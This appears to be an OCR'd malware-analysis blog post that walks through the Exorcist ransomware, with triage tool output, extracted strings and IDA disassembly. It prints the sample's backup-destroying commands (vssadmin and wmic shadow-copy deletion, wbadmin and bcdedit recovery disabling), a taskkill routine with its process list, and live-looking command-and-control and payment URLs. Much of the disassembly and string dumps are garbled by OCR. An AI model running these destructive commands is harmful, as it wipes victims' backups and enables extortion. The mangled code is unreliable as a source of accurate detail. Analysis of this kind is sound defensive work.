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Exorcist Ransomware — From triaging to deep dive
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TL;DR

On Monday 20th while hunting for some REvil samples I stumbled upon a newly introduced ransomware as a
service called Exorcist. This ransomware is distributed via Pastebin embedded in a powershell script that loads it
directly in memory. This script is based on “Invoke-ReflectivePEInjection.ps1” script by Joe Bialek
(@JosephBialek), but it is optimised with an additional function to pass a base64 encoded executable to the main
function. This powershell script is possibly generated using the Empire framework. The same technique is used by

some of the Sodinokibi/REvil affiliates, and in the past by Buran.

The ransomware is not obfuscated and the majority of the strings are in plaintext stored in the “.rdata” section of
the executable. The first thing that the malware does is to check the geo location of the system using the language
and the keyboard layout. If the results yield one of the Commonwealth of Independent States (CIS) it quits on the
spot. Then the ransomware execute a series of commands to disable and remove backups and kill processes that
might interfere with the system encryption. Once it is done with the commands, it writes to disk the RSA public
key, the session private key and the extension. This information is not written into a file in a straightforward

manner, instead it is written in different Alternate Data Streams on the file “%temp%!\\boot.sys”.Then it extracts

information from the system such as username, hostname, OS version, keyboard layout, etc. and sends them via
http to the server “http://217.8.117[.]26/gateinfo”. Next it gets the amount of cpu on the systems and starts
multiple threats to encrypt the system files. Some directories and file extensions are excluded to avoid rendering
the system unusable. Once done with the encryption another http packet is sent to the same server this time to the
url “http://217.8.117[.]26/gatedrivers”. Lastly, the wallpaper of the system is changed and the ransom notes are
dropped in the form of hta scripts with the name convention “<extension>-decrypt.hta”. In these notes we can find
the instructions to recover the system that consist of the urls “http://217.8.117[.]26/pay”.
“http://4dnd3utjsmm2zcsbl[.]Jonion/pay”, and the “Authorization Key”.
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This information will be needed to “sign in” the payment portal shown in the following screenshot:

Exorcist Ransomware

Sign in to start your session

Copy your auth key here:

Auth key

s

For the IOCs go to the bottom of the page =D

Exorcist Ransomware Triaging

Once the payload is extracted (base64 encoded) from the powershell loader, we get a PE32 executable. From a

quick scan of the file using Assemblyline we get the following interesting insights:
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So at a first glance we can see that there are some well known executable names extracted, normally seen in
ransomware and coin miners either to prevent processes from allowing access to files that will be encrypted or to

free resources to mine more effectively.

Based on the API names extracted from the sample we can say it has some network capabilities as well as some

cryptography ones. This is looking more and more like a ransomware!

Lastly we see there is a url extracted from the sample “http://217.8.117[.]26/pay”. If we check what we found on

that website (in a secure manner ;) ) we find the following:

Exorcist Ransomware

Sign in to start your session

Copy your auth key here:

Auth key

Sign In

Our suspicion was correct, it was ransomware after all!! But what else does this ransomware do? Let’s take a look

at its capabilities using the newest tool from Fireeye capa.
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m T e 23eed@36e67824delBe

| mdS | 79385ed97732aee@B36e67824delBe28

| path | C:\User JSER=\Desktop\Samples 79385ed97732aeeB@3b6e67824de18e28

e —

| ATTECK Technique
R it e .ttt ettt . - . e . e e e e e e e e
DEFENSE EVASION | Virtualization/Sandbox Evasion::System Checks [T1497.881]
DISCOVERY | File and Directory Discovery [T1883]
| Query Registry [T1812]
stem Information Discovery [T1882]

reference anti-VM strings
send data

connect to HTTP server
create HTTP request

send HTTP request

create pipe

create two anonymous pipes
initializ library

lysis/anti-vm/vm-detection
communication
communication/http/client
communication/htt lient
communication/http/client
communication/named-pipe/create
communication/named-pipe/create
communication/socket
communication/socket/tecp
communication/socket/tcp
communication/socket/udp/send
communication/tcp/fclient
data-manipulation/encoding/base6d
host-interaction/environment-variable
host-interaction/file-
hast-interaction/file-
host-interaction/file-
host=interaction/file-s
host-interaction/file-
host=interaction/file=
host=-interaction/hardware/keyboard/ layout
host-interaction/hardware/storage
host=interactio
host-interaction/ne k/dns/resolve
host=interaction/os/hostname
hast-interaction/os/info
host-interaction/process/create
host-interaction/r
host-interaction/regist
host-interaction/registry/query
host=interaction/registry/query
host-interaction/sessien

ho interaction/thread/create

connect TCP socket
c te TCP socket
create UDP socket

act as TCP client

encode data using BasefGd via WinAPI (2 matches)
query environment variable

delete file (2 matches)

enumerate files via kernel32 functions
get file size (4 matches)

move Tile

read file (3 matches)

write file (6 matches)

get keyboard layout

get disk information (4 matches)
crea

resolw

get hostname

get system information (3 matches)
create process (3 matches)

empty the recycle bin

open registry key

query registry entry

query registry value

get session user name

create thread (2 matches)

—_— e e e e e e e e e e, e e e e e e e e e e = — g — %

So, it seems that indeed this ransomware sends data via http and executes some tricks to check the system to not

run on the wrong country ;). Now we are ready for a more serious deep dive!

Exorcist Ransomware Deep Dive

Now it is time to get into the details of this malware. First we are going to take a look at the file from a static point
of view by analysing its strings, API calls, and code. And then to complete our analysis and better understand the

inner workings of the malware we are going to study it from a dynamic point of view.
Static analysis

Loading the executable on PEstudio helps us to confirm some of the hypothesis we made during the triage and

also shows us some interesting aspect of the sample that we haven’t seen so far.
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pestudio 8.56 - Malware Initial Assessment - www.winitor.com
File Help
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= 7] c\users\rem\desktop\wbfnxTe.dll indicator (13) severity
SN indicator:
P virustotal (offline)

-~ dos-stub (128 bytes)

The file references the Volume Shadow Administration (vssadmin) tool
The file contains 211 blacklisted strings
The content of the debug blob is invalid

N-‘luluwl\.lmururu-n..I

O file-header (20 bytes) = )

O optional-header (224 bytes) The file references the Internet Protocol Helper interface

O directories (4) The file references other process(es)
.0 sections (4) The file references the Windows Cryptographic Primitives interface
-0 libraries (6/12) The file references the Windows Cryptographic interface

0 imports (115) The file queries for files and streams

O exports (n/a) The file is resource-less

O exceptions (n/a) The file opts for Address Space Layout Randomization (ASLR)
-- O tls-callbacks (n/a) The file ignores Structured Exception Handling (SEH)
-5 resources (n/a) The file has no Version

abe strings (211/626) The file does not contain a Certificate

-4Tx debug (invalid)
L 5[ manifest (n/a)
--[18] file-version (n/a)
[3 certificate (n/a)
-] overlay (n/a)
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libraries (6/12)
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I
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[i® fle-version (n/a)
H certificate (nfa)

~|J oveday in'a)

Press enter or click to view image in full size

type

a4

Bagii

ascii

ascii

aseii

unicade
unicode
unicade
unicade
unicode
unicade
unicade
unicade
unicode
unicode
unscode
unicode
unicade
unicode
unicade
unicode
unecade
unicode
unicode
unicade
unscode
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blackiisted (211)
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item (626)
GetCumentHwProfile
RegOpenkeyEx
RegluenValuekx
ShellExecute
SHEmptyRecycleBin
SHA25E
=decrypt.hta
‘ntuser.dat
\bootfant.bin
iboat.ani
‘desktop.ini
\bootsect.bak
intuser.ini
‘automem,inf

SEE

E.1 ]

5YS

hta

386

amd

.ani

msi

Smsp

nls

1]
<pl
prf

rdp
<bim
hip

bat

cmd /C

crrd.exe

wssadmin.exe Delete Shadows SAll Quiet
CAWindows\systemn3Ziwvsive tne
WLSEN L e

wiberverView exe

sglmangr.exe

Régui.exe

TUPERISE e

Culture.exe

Defwatch.exe

winword. exe

CAW3I2.exe
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unicode 47 - - powershell [System.Net.Dns]:: GetHostByAddress(’
unicode n - - hostname
unicode 14 - - Exception call
unicode 16 - - HashDigestLength
unicode 13 - - RSAPUBLICBLOB
unicade 14 - - RSAPRIVATEELOB
unicode 15 - . ChainingModeCBC
unicode 12 . . ChainingMode
unicode 14 “ - “Swindows.~bth,
unicode T - - intel,

unicode 10 - - msocache\
unicede 14 - - \Srecycle.biny
unicode 14 - - \Swindows. ~ws\,
unicode 13 - - \tor browser\,
unicode 6 - - booth,

unicode g - owindowsh,
unicode 12 - - wwindows nth,
unicode 9 = - imsbuildy
unicode n - - microsoft)
unicode 1 - - hall users',
unicede 27 - - ‘\system volume information’,
unicede 8 = s \google\

unicode 13 - = ‘windows.oldh
unicode 9 - - mozillah,

unicode 15 - 2 \appdatalocal\
unicode 18 - \appdatailocallowt
unicode 17 - . \appdata\roamingl,
unicode " - - SystemDrive
unicode 13 - - ‘programdata’
unicode 10 - - ‘perflogs\,

unicode 15 = 3 \program files,
unicede 21 - - ‘\program files (x86)\
unicode 13 - - hiconcache.db
unicade 6 - - ntldr

unicode 10 - - “thumbs.db
unicode 8 - - ‘bootmgr

unicode 4 - - adw

unicode 6 - - theme

unicode 10 - - themepack
unicode 14 - - .deskthemepack
unicode 8 - - .nomedia

unicede 8 - - .diagpkg

unicode 8 - - diagcab

unicode 5 - - Jock

unicode 4 - .mpa

unicode 4 - - .mod

unicode 5 - - Jicns

unicode 4 = = tp

unicode 8 - - .diagcfg

unicode 9 - - .msstyles

unicede 4 - - WK

unicode 4 - - fom

unicode 4 - - .psl

unicode 4 - - .msu

unicode 4 - .es

unicode 4 - Ldx

unicode 16 - - publicsessionkey
unicode g9 - - extension

unicode 17 - - privatesessionkey
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- - boot.sys:

- - epowershell

- - /C timeout /T 15 /NOBREAK &8 del *

- - L

- - open

- - itaskkill /F /T /IM

- - alldrivesinfo

- - wmic.exe SHADOWCOPY DELETE /neinteractive

= - wbadmin DELETE SYSTEMSTATEBACKUP

- - whbadmin DELETE SYSTEMSTATEBACKUP -deleteQldest
- - bededit.exe /set {default} recoveryenabled No

- - bededit.exe /set {default} bootstatuspolicy ignoreallfailures

So, some quick takeaways from the analysis so far:

1. Samples does not obfuscate strings.

2. It will exclude given directories and files with the extensions shown above to not render the system

unusable.

3. As expected, the ransomware will get rid of the Shadow copies of the files to avoid the easy restoring of

files.

4. Tt most likely will attempt to stop processes in a predefined list.

Let’s get our hands dirty and look at the code to discover some more capabilities of this ransomware. For this we

are going to load the sample to the free version of IDA.
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; Attributes: noreturn

public start
start proc near

push esi

push edi

call ds:FreeConsole
call sub_4847D2

test eax, eax

jnz short loc_48331E

offset aKgexamgiyxqwaqu ; "KegexAmaiYXQwWQuk2Zaogeciehs9ir77UsuvmFTS1"
sub_4847AD
ecx

eax, ear. Attributes: bp-based frame
short 1c

; int _ cdecl sub_4847AD(LPCSTR lpName)

sub_4847AD proc near ; CODE XREF: start+1&Tp
1pName = dword ptr B8
push ebp
MoV ebp, esp
push [ebp+1phame] ; lpName
push 1 ; bInitialOwner
push a 3 lpMutexAttributes
call ds:CreateMutexi
push a ; duMilliseconds
push eax ; hHandle
MoV hObject, eax
call ds:WaitForsingledbject
neg eax
sbh eax, eax
ine eax
pop ebp
retn
sub_4847AD endp
Eaz L
loc_4832EC: ; lpString
push edi
call sub_4819E2
push edi 3 lpstring
call sub_4848a1
mo esi, eax
push esi ; LPCSTR

push offset aGatedrives ; "gatedrives”
call sub_484BD6

push esi ; lpMem
call sub_4818C4
push edi ; lpMem

call sub_4818C4
add esp, 18h

call sub_484aF@
call sub_484BB89

So, one of the first thing is does is creating a mutex to avoid running multiple times on the system. Let’s check

what else we find next to the hardcoded mutex string.
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.rdata:@e4a731c | i sub_481BCCs132t0 ...
rdata:eeda7ilic text “UTF-16LE", “privatesessionkey’,&
Lrdata:eade734e : CHAR akgexamgiyxgwaul ]

.rdata:884a7348

akgexamgjyxgwqu db ‘KgeximgivXQWQuk2Zaogci@hs3jr77UsuvmF751" ;8

.rdata: 88487348 ; DATA XREF: starts+llto
.rdata: 82487368 ; const WCHAR aTmp
rdata: 88487368 aTmp: ; DATA XREF: start+25fo

.rdata:e8da73i6e
.rdata: 848’ s
.rdata:eada73ze
.rdata:ee4a73ive
.data:ead4a7ire
.rdata:@a4a7ive
.rdata:es4a7384

text "UTF-1BLE", “THP',B

3 Const WCHAR aBootSys
aBootSys:

; CHAR aGatedrives[]

; sub_493B82«ito ..

; DATA XREF:

start+idCTo

; sub_483B82+21BTo
text “UTF-16LE", "boot.sys:',8

.rdata: 88487384 aGatedrives db 'gatedrives®,@ ; DATA XREF: start+6BTo
.rdata: 88497 38F align 18h

.rdata:e8da7398 ; CHAR SubkKey[]

.rdata:8a4a7308 Subkey db “SOFTWARE\Microsofti\Windows NT\CurrentVersion®,8
Lrdata:ead4a739e ; DATA XREF: sub_4e4417+18To
.rdata: 88487380 align 1ah

data:esde73ce ; CHAR ValueMame| ]

.rdata: 8487308 ValueName db 'ProductName' ;8 ; DATA XREF: sub_d8d4417+37To
.rdata: 88487300 ; const WOHAR aPowershell

.rdata: 88487300 aPowershell: ; DATA XREF: sub_483F68+25To
.rdata: 8ee4873cc text "UTF-1BLE", "powershell ',@

.rdata:e84873E4 aCmdC: ; DATA XREF: sub_d@83F&8+31fTo
.rdata: 88487 3EL text "UTF-16LE™, "cmd jC °,8

Lrdata:ee4a7iF4 align 8

.rdata:@84873FE ; const WCHAR aCTimeoutT15Nob

LPdata:884873F8 aCTimeowtT15Nob: ; DATA XREF: sub_A84ABS+28To

.rdata: 88487 3F8
Lrdata: ea4a7440

text "UTF-16LE™; " JC timeout /T 15 /NOBREAK &R del

; const WOHAR asc_487440

.rdata: 80407448 asc_ 487440 : ; DATA XREF: sub_de8dAB8+34To
.rdata:esd4e7ade text "UTF-16LE", "~ /F',B

.rdata:eada7448 align 4

.rdata:egae744C ; const WOHAR File

.rdata:840744C File: ; DATA XREF: sub_d84AB8+47To

.rdata: 88487440
.rdata:ea4a745Cc

text "UTF-16LE™, "cmd.exe”,@

; const WCHAR Operation

.rdata:8848745C Operation: ; DATA XREF: sub_dedARS+4CTo
.rdata: 88487450 text "UTF-16LE", "open',B

.rdata: 487466 align 4

.rdata: 8487468 aRussian db 'russian’,@ ; DATA XREF: sub_d8446B+3710
.rdata:8ad4a7468 ; sub_4847D2+25To0
rdata:eedevare adrmenian db 'armenian”,@ ; DATA XREF: sub_48446B+3ETo
.rdata:@a4a7478 ; sub_4@47D2+2FTo
rdata:esdvare align 4

.rdata:@840747C aBelarusian db 'belarusian',® ; DATA XREF: sub_48446B+45t0
.rdata:8a48747C ; sub_4f4aTD2+36To

.rdata: 88487487 align 4

.rdata: 88487488 aGeorgian db 'geocrgian®,8 ; DATA XREF: sub_deddeB+4CTo
.rdata: ea4a7488 ; sub_4847D2+3Dt0

.rdata: 88487401 align 4

.rdata:@e487494 akazakh db 'kazakh',e ; DATA XREF: sub_4ae446B+53To
.rdata:8ad4a7acd ; sub_4847D2eddTo

.rdata: eade7498 align 4

.rdata:3848749C aTajik db 'tajik',8 ; DATA XREF: sub_d8445B+45ATo
.rdata:@a4a749C ; sub_48aTD2+4BTo

crdata: 88487442 align 4

.rdata:éada7404 aTurkmen db "turkmen®,8 ; DATA XREF: sub_dedd&B+61To

“a

Here we can see some interesting strings that we have overlooked before. Seems that there are some countries
listed that are most likely used together with the “get keyboard layout” capability seen before to decide if this

sample should run or quit. Let’s confirm this theory!

Press enter or click to view image in full size
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P

; Attributes: nareturn

public start
start proc near

push asi
push edi
call di:Freslonsale
call sub_48a702
test &ax, eax wvar_1C
jnz short lacyar 18
b var_id
[~ E var_i8
ush offset akgexamgiyxgugu ; “Kgexamgdl .
call  sub_4847AD Var B
jpap ecx uar:ﬂ-
test cax, oax
3z short loc_s@331E
- . ——
call  sub_d4@1D02
push offset aTmp
call sub_481319
push 1
push offset asc_4872
push ea
call sub_485238
add esp, 1éh
moy edl, eax
call sub_484748
test BAK, 23K
iz shart loc_4832E
I‘
1 i
offset aBootSys ;
adi i
sub_4@5238
esp, &Ch
adi, eax
£
loc_4832EC: -
push adi
call sub_4819E2
push edi b
call sub_a484861
T esl, eax
push esi ; LPCSTR
push affset aGatedrives
call sub_484BD6
push axi + lpMem
call sub_4818c4
push edi 3 lpMem
call sub_4@18C4
add esp, 13h
[call  sub_seaars
!:a.‘ll sub_J494B6%

Press enter or click to view image in full size

7 “patedrives”

= dward
= dword
diward
dward
dword
diward
= dward

push
e
sub
push
push
push
push
1ea
push
push
push
call
lea
fal=113
push
=or
AEy
now
Aoy
LI=i
now
Aoy
Ay
now
Aoy
call
pop
now
Ay

Page 11 of 32

ptr -1ch
ptr -18hH

ptr -1idh

ptr -1éh

ptr -BCh

ptr -B

ptr -4

ehp

ebp, esp

|/5Q, REEh

eby

(151

adi

550 ; cchData
eax, [ebprlClata]

fax ; lplchata
12@1h i LCType

4aah ; Locale

ds:artlocaleinfos

eax, [ebp+LlData]

[ebpsver_28], offset aRussian ; “russisn®

cax ; lpString

edl, edl

[ebpsver_24], offset afrmenian ;| “armenian”
[ebprvar_28], offset aBelarusian ; "belarusian”®
[ebpevar_1C], offset aGegprgian ; “gecrgian”
{ebpsvar_18], offset akazakh ; “hazakh’
[ebpsvar_14], offset aTajik ; "tajik”
[ebpevar_18], offset aTurkmen ; “turkmen®

[ebp+uar_C], offset aUkrainian ; “ukrainfan”
[ebp+var_8], offset alzbek ; "uzbek”
[ebpevar_4], offset adzerbaijanl ;
sub_483838B

LK

ahx, eax

esi, edi

"azerbaljani”
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push ebp

mowv ebp, esp

sub esp, 234h

push ebx

push esi

push edi

mov edi, ds:GetKeyboardLayoutlist

xor ebx, ebx

push ebx ; lpList

push ebx ; nBuff

call edi ; GetkKeyboardlLayoutList

mowv esi, eax

shl eax, 2

push eax 3 uBytes

push 48h ; UFlags

call ds:LocalAlloc

push eax ; lpList

push esi ; nBuff

mowv [ebp+hMem], eax

call edi ; GetKeyboardlLayoutlList

mov esi, [ebp+hMem]

mov ecx, eax

mov [ebp+var_C], ecx

mov eax, ebx

mowv [ebp+var_34], offset aRussian ; “russian”

mowv [ebpsvar_38], offset aArmenian ; “armenian”

mov [ebp+var_2C], offset aBelarusian ; “belarusian”

mov [ebp+var_28], offset aGeorgian ; "georgian”

mov [ebp+var_24], offset aKazakh ; “kazakh”

mow [ebp+var_28], offset aTajik ; “tajik"

mowv [ebp+var_1C], offset aTurkmen ; "turkmen”

mowv [ebp+var_18], offset alkrainian ; "ukrainian”

mowv [ebp+var_14], offset aUzbek ; "uzbek”

mowv [ebp+var_18], offset aAzerbaijani ; "azerbaijani”

mov [ebp+var_8], eax

test ecx, ecx

jz short loc_484564
FPE -
loc_4844EF:
movzx  eax, word ptr [esi+eax*4]
lea ecx, [ebp+LCData]
push 280h ; cchData
push ecx ; lpLCData
push 18681h ;3 LCType
push eax ; Locale
call ds:GetLocaleInfol
lea eax, [ebp+LCData]
push eax ;3 lpString
call sub_408388B
pop 8cx

ov [ebp+hMem], eax

Kov edi, ebx

The Ransomware uses the API “GetLocalelnfo” and “GetKeyboardLayoutList” to determine the geo location of
the system and check if it should continue running or not. Let’s verify another hypothesis we had. Does the
ransomware kill the processes displayed in the strings before start encrypting? For this we are going to pivot from

the un-obfuscated strings to the code.
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.rdata:e84878C4
.rdata:@84878C4
.rdata:e84878DE
.rdata:e84073E0
.rdata:e84878ES8
.rdata: 8487982
.rdata:esdaioed
.rdata: 8487984
.rdata:@848791E
.rdata:esd4a792e
.rdata: 88487928
.rdata:ee487934
rdata:e8d4a7934
.rdata: 88487958
.rdata:ee487958
rdata:eed4e’ocs
.rdata: 88487968
.rdata: 60407982
rdata: 88487984
rdata: 08407984
rdata:eedaiyooc
.rdata:8048799C
.rdata: 08487986
.rdata:e8487988
rdata:e84a79Ce
.rdata:084879C8
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aWxserverExe:

akWxserverviewEx:

asqlmangrExe:

aRaguiExe:
asuperviseExe:
aCultureExe:

aDefwatchExe

aWinwordExe:
aQbw32Exe:
aQbdbmgrExe:

aQbupdateExe:

: DATA

XREF: sub_483BD245CTo

text “"UTF-16LE", 'wxServer.exe',®

align 18h

text "UTF-

align 4

text "UTF-

align 18h

text "UTF-
text “"UTF-
text “UTF-

text "UTF-

align 4

text "UTF-

text "UTF-

text “UTF-

: DATA XREF: sub_4@3BD2+66To
16LE", ‘wxServerView.exe',@

; DATA XREF: sub_483BD2+78To
16LE", ‘sqlmangr.exe’,®

: DATA XREF: sub_4@3BD2+7Ato
16LE*, ‘RAgui.exe',@

; DATA XREF: sub_483BD2+84to
16LE", 'supervise.exe',@

; DATA XREF: sub_483BD2+BETo
16LE", 'Culture.exe’,d

; DATA XREF: sub_4@3BD2+98To
16LE", 'Defwatch.exe',®

; DATA XREF: sub_403BD2+A2To
16LE", "winword.exe',®

; DATA XREF: sub_403BD2+ACTo
16LE", "QBW32.exe',d

; DATA XREF: sub_483BD2+B&To
16LE", 'QBDBMgr.exe',®

; DATA

XREF: sub_4838D2+C@to

text "UTF-16LE™, 'gbupdate.exe’,®

Page 13 of 32



https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81

B0aPPeBBAELE3B02 push ebp
BE0000883848 3803 mov ebp, esp
|BOBERERRAR4A3BDS sub esp, 178h
B000808008403BDE push esi
BEE020AE38483BDC push edi
|8200ROBBAR423B0D call sub_4083F5B

80080808048 3BE2 xor esi, esi
GRERARRRRE4AIBES mov [ebpevar_1C], offset aWmicExeShadowc ; "wmic.exe SHADDWCOPY DELETE /nointeracti™...
GE0000RB8483BEE mov [ebp+var_18], offset aWbadminDeleteS ; “whadmin DELETE SYSTEMSTATEBACKUP
| H2PRBReRaa483BFY mov edi, esi
Q002080884838F4 mov [ebp+var_14], offset albadminDeleteS_8 ; "wbadmin DELETE SYSTEMSTATEBACKUP -delet™...
| G800R0RRAR4E83BFE mov [ebp+var_18], offset aBcdeditExeSetD ; "bededit.exe fset {default} recoveryemab”. ..
@QE0BBRRIE4B3CA2 nov [ebp+var_C], offset aBcdeditExeSetD_@ ; "bededit.exe [fset {default} bootstatuspe™...
B08020REA8483C89 mov [ebp+var_B], offset aVWssadminExeDel ; ssadmin.exe Delete Shadows /ALl /Quiet”
00RARARAB4B3C1R mov [ebp+var_4], offset aClindowsSystem ; "“C:'\‘\Windows''\system32\\wssvc.exe"
0

=zl

oapoeoeaoa4a3Ic1y

POBOEgaaadn3C1? loc_483C17: ; int

Be3e320000403C17 push esi
BeBERA0080403C18 push [ebp+edi*d+var_1C] ; LPCWSTR|
BOBEEA0a8R4B3C10 call sub_483F68

B22E80808483C21 inc edi

BABGEAGEGA403C22 pop BCx

BOREI8a0R403C23 pop ecx

BOBAORAERE4BIC2E cmp edi, 7

BOBREENERA4A3ICIT 1 short loc_483C17
Pnﬁ i
OROBRIESAR483C29 mav eax, offset aMssqlMicrosoft ; "MSSQLSMICROSOFTH#REWID. exe™
PEERRHEEaR4BIC2E may [ebp+1pstring], offset alWxserverExe ; "wxServer. exe"
CREREAEaa84B3CI8 mav [ebp+var_174], offset awxserverviewEx ; "wxServerView.exe”
BERAIA0A040IC42 mav [ebp+var_178], offset aSqlmangrExe ; "sglmangr.exe”
2BERAAAAAR4R3CAL mav [ebp+var_16C], offset aRaguiExe ; “RAgui.exe”
|BB222008008483C56 mav [ebp+var_168], offset aSuperviseExe ; "supervise,exe"
BB00804000483C68 mov [ebp+var_164], offset aCultureExe ; "Culture.exe”
CBERBAA0AR4BICEA mav [ebp+var_1e8], offset aDefwatchExe ; "Defuatch.exe”
DB0B0AE08483C T4 mav [ebp+var_15C], offset aWinwordExe ; "winword.exe”
OEOBGAGA84ABICTE mov [ebp+var_158], offset aQbw32Exe ; “(BW3Z.exe”
|B222200000483C88 MoV [ebp+var_154], offset aQbdbmgrExe ; "QBDEMgr.exe”
DEPBREEBAR4BICI2 mav [ebp+var_158], offset aQbupdateExe ; "qbupdate.exe”
DBERBAA0A04R3CI0 mov [ebp+var_14C], offset aAxlbridgeExe ; "axlbridge.exe"
QEER00000483CAE may [ebp+var_148], offset alttpdExe ; "httpd,exe”
HBERA3A8A8483CR88 mav [ebp+var_144], offset aPdlauncherExe ; "fdlauncher.exe"
|20e0208000483CBA RaY [ebp+var_148], offset aMsdtsrvrExe ; "MsDESrvr.exe”
SB0BEE888483CC4 mav [ebp+var_13C], offset alavaExe ; “java.exe"
OROBREASAR4RICCE mov [ebp+var_138], offset a3lf@seExe ; “36dse.exe”
S20R000a0483C0E may [ebp+var_134], offset alcedoctorExe ; "3I6Bdoctor,exe"
SRERAEAGAR4BICED mav [ebp+var_138], offset awdswisafeExe ; "wdswfsafe.exe”
|DBDBEAAeR483ICEC mav [ebp+var_12C], offset aFdhostExe ; “fdhost.exe”
P220208a8aR483ICFE mav [ebp+var_128], offset aGdscanExe ; "GDscan.exe’
CBEREAE8a84830B8 mav [ebp+var_l24], offset aZhudongfangyuE ; "ZhulongFangYu.exe”
BEORAIG0A040IDRA may [ebp+var_128], offset aQbdbmgrnExe ; "QBDBMgrN.exe"
SBERAA08483014 mav [ebp+var_11C], offset aMysgldExe ; “mysgld.exe”
|B28220000848301E mav [ebp+var_118], offset aAutodeskdeskto ; "AutodeskDesktopApp.exe”
PRRBAEAG08481028 mav [ebp+var_114], offset sAcwebbrowserEx ; "acwebbrowser exe’
PBEREAE8aR4RID32 mav [ebp+var_118], offset aCreativeCloudE ; "Creative Cloud.exe”
BB0B80380848303C mav [ebp+var_l8C], offset aAdobeDesktopSe ; "Adobe Desktop Service.exe”
OROBRHE898483046 mov [ebp+var_1@&], offset aCoresyncExe ; "CoreSync.exs”
|B202000000483058 mav [ebp+var_le4], offset aAdobeCefHelper ; "Adobe CEF Helper.ewxe"
BB0B864000483054 mov [ebp+var_188], offset aModeExe ;| “node.exe”
DBREAA0A0403064 mav [ebp+var_FC], offset aAdobeipebroker ; "AdobeIPCBroker.exe”

A88848306E mav [ebp+var_FB], offset aSyncTaskbarExe ; "sync-taskbar.exe”

CRERA3AGA84830TE mav [ebp+var_Fa], offset aSyncWorkerExe ; "sync-worker.exe”
D2ER0000403082 mav [ebp+var_F@], offset alnputpersonali ; "InputPersonalization.exe”
BEPBRBEBER483I0DEC mov [ebp+var_EC], offset aAdobecollabsyn ; "AdobeCollabSync.exe”
OROREAS0P4030%6 mov [ebp+var_E8], offset aBretrlentrExe ; "BrCtrllntr.exe”

From analysing the routine we see that it is divided in two main sections, the first one running a set of predefined
commands to disabled and remove shadow copies and backups, and a second one that goes through the list of

processes and calls “taskkill” for each of them.
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TOOCOCOCOHIIroL DLUSu

GERACEBE0048IFED moy ecx, offset aPowershell ; “powershell °
SE02008808483F02 push ebx ; dnt

SE3EEE8808483F93 push [ebp+arg 8] : LPCWSTR
BHRE0E8E884R3IFRE stosd

GERE0E0E8483F0T stosd

CAEREBEAA4RIFIE stosd

BOBOBHBRBEIBIFIT mayv eax, offset aCedC ; "cmd /C '
BRBABAGEAAIBIFOE cHoVAZ  Sax, eEX

BE3EB88008483FA1 push eax ; lpstring
BESERA2008483FA2 call 5tr_concat

GEMESHSEORMBIFAT add esp, 1Bh

BB BEB4RIFAA mov edi, eax

BRBEBEAEAE4AIFAC lea eax, [ebp+ProcessInformation]
BEAEBE8E0BIBIFAF push 2ax ;: lpProcessInformation
BEHRESH0E0BIRBIFER lea eax, [ebp+StartupInfo]
BASH000008483FE3 push eax i lpstartuplnfo
pacadadedR4RIFE4 push ebx i lpCurrentDirectory
BORAGEGE004BIFES push ehx ; lpEnvironsent
BEAHBEAAGEABIFEE push Epaaasah ; dwCreationFlags
BH8E0H0008483FEE push ebx ; bInheritHandles
BE2E008008483FBC push ebx i lpThreadattributes
ESE0a2008483FED push ebx i lpProcessAttributes
BOSAB0BA00483FRE push edi ; lpCommandLine
BA8E0E0E0E48IFEF push ehbi i lpApplicationName
BEEEESE0E684BIFCE call ds:CreateProcesshl

SE2E000008483FCE test eax, eax

BASESE0EORIRIFCE jz short loc_4@3FES

"PE > j
ABPSHBESEA4A3FCA push BFFFFFFFFh 3 duMillisecands
BDEPSDBESIR483FCC push [ebp+ProcessInformation. hProcess] ; hHandle

DEPSESIRB3IFCF call ds:WaltForsinglelbiect
DEDSINIIMRIFDS push [ebp+ProcessInformation.hProcess] ; hObject

Press enter or click to view image in full size
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GRADACOORMMEADIY ; Attributes: bp-Based Frams
GORBAEEARREL0II
DOBBOGBARRME4O22 ; int  cdecl Prap Paskkill sowrdndiLPCMSTR Lpstring, int)
BOOBEEGARAIE4922 Prep taskkill cormand proc near
BOABEEEAARELa2]
BOIREE0REEdALaR] lo5String- cword ptr 2
DARREEDIERIALAZ2 arg d= dword pir ACh
DIRPEEDIERINLATI
ERKIUERIIBINAITY push ebp
DRSO may vhp, wsp
GAIHGRARRBANE push whz
GHIMGGORMBANIE push sl
GORBOGEARIEANIT nay asl, [abpslpsteing]
GOARAEGARRMEADIA push  edi
BOAREEGARAIELOIE push  offset aEwe i tlexa”
DOIBEEDRRBIELDIE push  est i lpstring
©OIBEE0ARE4E403] call  sub 435365
£I20EC0IIRINIAIE Inp lebpearg 4], ®
DARBEEREERBAAIN pap =
PERIEEORIIBAAIN pap =
PEEIESRIIBAYAL push s i Ipstring
Al e mhirl, luc_ddiatsdg
-]
EEREBEEDD
CEEGEELEE]
BEEDIAREEHD
BERSRIEER
T ——  —
EEORBECHARLAITIF wor A, ah RECAIEEL R
EOORBREGARIBITL] TesT  ma, Ead BI |aREcaaRREaLa
E0AABREGAALBILT 1z short loc 48205 |aeesanseeala
h BECCHEAENLE
JELEEET R
iwmma
HERRRIIREERLT
BRI RO
P TL ! T £ Gu
BEOAREBARAAEI0AS call  da:lstrlenkd BEEGORREERLALGIE BODAREEHARE
BOIAEERRRRIEI0R tub cax, £ BRGGARRRGALAISIE Loc LB4SSE: EAIAREEDAAE
SOIREEDIREANIINE push  eax i dnt BECOORBEENLEASIE call  sub JOSZEE EODREEEDIRE
SIIBECDIRANLANF push  ebx i int BECCMBRREELEASE pop ook EODBEREDIRE
B3IVECIIPALLASE push L8 i lpstrin
PopERRREEABTs] call  sub_dansis
ERHIRRERII B achl wsp, dh
54 jrap sheel lus_#8a4%61
= i e = ==
R RIS, prsh el 5 imt Sty
PRSI Tou_a96] : IR IARET Pk esi  IpSteing) soaee
B BEBRE] noy wli, wax DESHIMEAI0EE call e airled R
COBIERGRAIEADET push el ;int DEGGIRMGIALIADEA SLb e, wdi GoRHe
BHGAAGGIANAGANGA push wdl 3 LPCMSTR BRGHARRGARLEAIET push wax 5 oint T
DOORREEAARAB4ASS push  atfset aTaskkilIFTIn | “waskkill /F /T /14 | DoGOMRBGGD4B4930 push  esi . Lpsteing
£ODREEEOAAE4DEA call  Str cancat BEGOOREGAALAASSE call  sub 485513
DODBEEEDARE4OEF push 1 i int BECOBREGBALEASCT rov esd, eax
BODPEEODIRARST] push  offset asc 287289 ; " BEOOBREEDAMEASCE puth 1 ; int
EOIRECODIRABIATE push eax i lpstring BEODAEEODACEASCF puth  esi ; lpstring
